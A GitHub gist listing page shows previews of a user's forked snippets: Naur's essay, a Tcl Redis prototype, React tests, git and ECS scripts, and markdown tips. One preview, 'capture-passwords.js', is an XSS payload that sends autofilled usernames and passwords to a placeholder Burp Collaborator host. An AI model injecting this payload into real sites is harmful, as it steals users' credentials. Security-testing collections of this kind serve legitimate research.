Skip to content

Instantly share code, notes, and snippets.

@Ryman
Ryman / programming-as-theory-building.md
Created June 18, 2023 00:03 — forked from onlurking/programming-as-theory-building.md
Programming as Theory Building - Peter Naur

Programming as Theory Building

Peter Naur

Peter Naur's classic 1985 essay "Programming as Theory Building" argues that a program is not its source code. A program is a shared mental construct (he uses the word theory) that lives in the minds of the people who work on it. If you lose the people, you lose the program. The code is merely a written representation of the program, and it's lossy, so you can't reconstruct

@Ryman
Ryman / lmdb.tcl
Created May 29, 2023 04:30 — forked from antirez/lmdb.tcl
LMDB -- First version of Redis written in Tcl
# LVDB - LLOOGG Memory DB
# Copyriht (C) 2009 Salvatore Sanfilippo <antirez@gmail.com>
# All Rights Reserved
# TODO
# - cron with cleanup of timedout clients, automatic dump
# - the dump should use array startsearch to write it line by line
# and may just use gets to read element by element and load the whole state.
# - 'help','stopserver','saveandstopserver','save','load','reset','keys' commands.
# - ttl with milliseconds resolution 'ttl a 1000'. Check ttl in dump!
@Ryman
Ryman / useMyAwesomeHook.specs.tsx
Created April 8, 2023 14:12 — forked from Danetag/useMyAwesomeHook.specs.tsx
Testing a React hook with a redux store
import React from 'react';
import { renderHook } from '@testing-library/react-hooks';
import stateFactory from 'jest/stateFactory';
import configureMockStore from 'redux-mock-store';
import { Provider } from 'react-redux';
import { Store, AnyAction } from 'redux';
import { initialState as initialPaginationState } from '../../store/pagination/reducer';
import { useMyAwesomeHook } from '../useMyAwesomeHook';
@Ryman
Ryman / local stale branch delete
Created February 8, 2023 13:16 — forked from ParikshitChavan/local stale branch delete
delete all local local branches which have been deleted from remote
git fetch -p && git branch -vv | awk '/: gone]/{print $1}' | xargs git branch -d
@Ryman
Ryman / markdown-details-collapsible.md
Created November 7, 2022 15:16 — forked from pierrejoubert73/markdown-details-collapsible.md
How to add a collapsible section in markdown.

How to

<details>
  <summary>Click me</summary>
  
  ### Heading
  1. Foo
  2. Bar
     * Baz
 * Qux
@Ryman
Ryman / ecs-interactive-console.sh
Created October 10, 2022 22:14 — forked from clarkdave/ecs-interactive-console.sh
ecs-interactive-console
#!/bin/bash -e
##
# Use this annotated script a base for launching an interactive console task on Amazon ECS
#
# more info: https://engineering.loyaltylion.com/running-an-interactive-console-on-amazon-ecs-c692f321b14d
#
# Requirements:
# - `jq` must be installed on both the client and server
##
@Ryman
Ryman / capture-passwords.js
Created September 6, 2022 21:43 — forked from kibelous/capture-passwords.js
[XSS] Malicious payloads
// if users use password managers to autofill credentials
<input name='username' id='username'>
<input type='password' name='password' onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
@Ryman
Ryman / how-to-view-source-of-chrome-extension.md
Created December 29, 2020 18:29 — forked from paulirish/how-to-view-source-of-chrome-extension.md
How to view-source of a Chrome extension

Option 1: Command-line download extension as zip and extract

extension_id=jifpbeccnghkjeaalbbjmodiffmgedin   # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" 
unzip -d "$extension_id-source" "$extension_id.zip"

Thx to crxviewer for the magic download URL.

@Ryman
Ryman / plink-plonk.js
Created May 2, 2020 04:43 — forked from tomhicks/plink-plonk.js
Listen to your web pages
@Ryman
Ryman / has-zero-or-one.md
Created December 21, 2019 19:33 — forked from jamesarosen/has-zero-or-one.md
Ember-Data: hasZeroOrOne

Background

In our app, we have a number of different has-zero-or-one relationships where the foreign object may or may not exist. For example, a Customer may or may not have a CreditCard on file, but it won't have more than one.

We started with something like

// app/models/customer.js
export default DS.Model.extend({